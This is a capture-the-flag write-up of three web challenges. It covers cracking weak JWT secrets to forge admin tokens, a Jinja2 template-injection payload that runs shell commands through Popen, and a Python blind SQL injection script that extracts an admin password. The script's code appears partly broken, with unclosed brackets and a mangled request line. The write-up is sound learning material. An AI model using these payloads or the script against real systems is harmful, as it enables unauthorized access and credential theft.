Skip to main content


The writeups below are all written by @wonyk.

I will skip some of the easier challenges and focus on the more interesting ones (and also the ones we got stuck on for a long period of time).

Secure API (200 pts)

Frontend is overrated! API rocks!

Going into the website, we see a nice looking error page.


That's where I got stuck? Am I supposed to guess the type of Authorization? The token?

However, after a bit of fiddling, it is simply just a POST request to the /login API endpoint with the credentials of guest:guest will net us an Authorization Bearer JWT token.

Using the token in the main page, we are told that guests are not entitled to secrets... (Cries).

Understanding the weakness of JWT, I first tried to change the JWT Algo:none to see if the service is vulnerable to such an attack but the efforts are futile.

Next, I used John the Ripper to brute force the JWT token password using the rockyou.txt password file and eventually got a password: 147852369

Using the password, I crafted a new JWT and changed the user to admin and successfully retrieved the flag!


Flag: dctf{w34k_k3y5_4r3_n0t_0k4y}

Injection (200 pts)

Our local pharmacy exposed admin login to the public, can you exploit it?

Going into the website, we see a nice login page.

Landing page

However, upon login, the website tells us the login page does not exist???

Since the title is injection, there could be a few possibilities:

  • Host Header injection
  • SQL / NoSQL Injection
  • Request header changes (X-Forwarded-For etc)
  • Server Side Template Injection (SSTI)

Unfortunately, the first 3 does not work. Trying out SSTI on the URL, we see an interesting output.

{{7 * 7}} = 49

Trying out a few other payloads, it is evident this website is using Jinja2 most likely.

Then, leaking the website config using {{config.items()}}, we are able to see some details but not much. Next, we try to use the available Popen function to display the content of the file containing the flag.

Using the payload {{''.__class__.mro()[1].__subclasses__()[414]('cat lib/',shell=True,stdout=-1).communicate()[0].strip()}} we managed to leak this:

Leaked base64 encoded flag

Decoding the base64 will reveal the flag.

Flag: dctf{4ll_us3r_1nput_1s_3v1l}

Cartooner (300 pts)

Social media of all the best-known cartoon characters! #cartoonnetwork

The flag doesn't follow the regex.

Once entered, we are told to login as Guest. Logging in, we are presented with a nice view.

Cartooner Guest

Trying to login as admin will present an error that the user already exists. Looking at the cookies sent, it seems like another JWT token is used.

Trying to crack the token will reveal that the password is rachel. We can then craft a forged admin token to see the webpage.

This time, there is a search bar which will search for user posts based on post descriptions.

Using Burp Suite, we can intercept the request and edit the debug field to see debugging logs:

SELECT p.text AS description, p.likes, date_format(p.dateposted,'%e. %c. %Y') AS time, p.img, u.username AS user,
u.profilepic AS profilePic, u.password AS secret FROM posts p NNER JOIN users u ON (p.username = u.username)
WHERE p.text LIKE '%test%' ORDER BY p.dateposted DESC;

A classic blind SQL injection! We can control the parameter in the WHERE clause, hence we can craft a simple python script to check for the response size.
#!/usr/bin/env python3
import requests

headers = {
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Sec-Fetch-Site': 'none',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'Sec-Fetch-Dest': 'document',
'Accept-Language': 'en-GB,en-US;q=0.9,en;q=0.8',

output = ''
position = 1
cont = True
while cont:
for i in range(48,128):
data = {
'search': f"%' and ascii(substring((select password from users where username like '%admin%'),{position},1)) = '{i}' and '1%'='1",
'sql': 'mysql',
'debug': '1'
cookies = {
'user': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJpYXQiOjE3MjExNDc0MjN9.b9Pb8OEO3nX8Y49EepMaeqGMPHx5MVCU4fCkFaAK5s4',
response ='', headers=headers, data=data, cookies=cookies, verify=False)
if(len(response.text) > 2500):
position +=1
output += chr(i)

if i == 127:
cont = False

Using this script, we can leak the base64 encoded secret password.

Triangle of leaks

Flag: dCTF{wh0a_M4M4!_a5635d90b}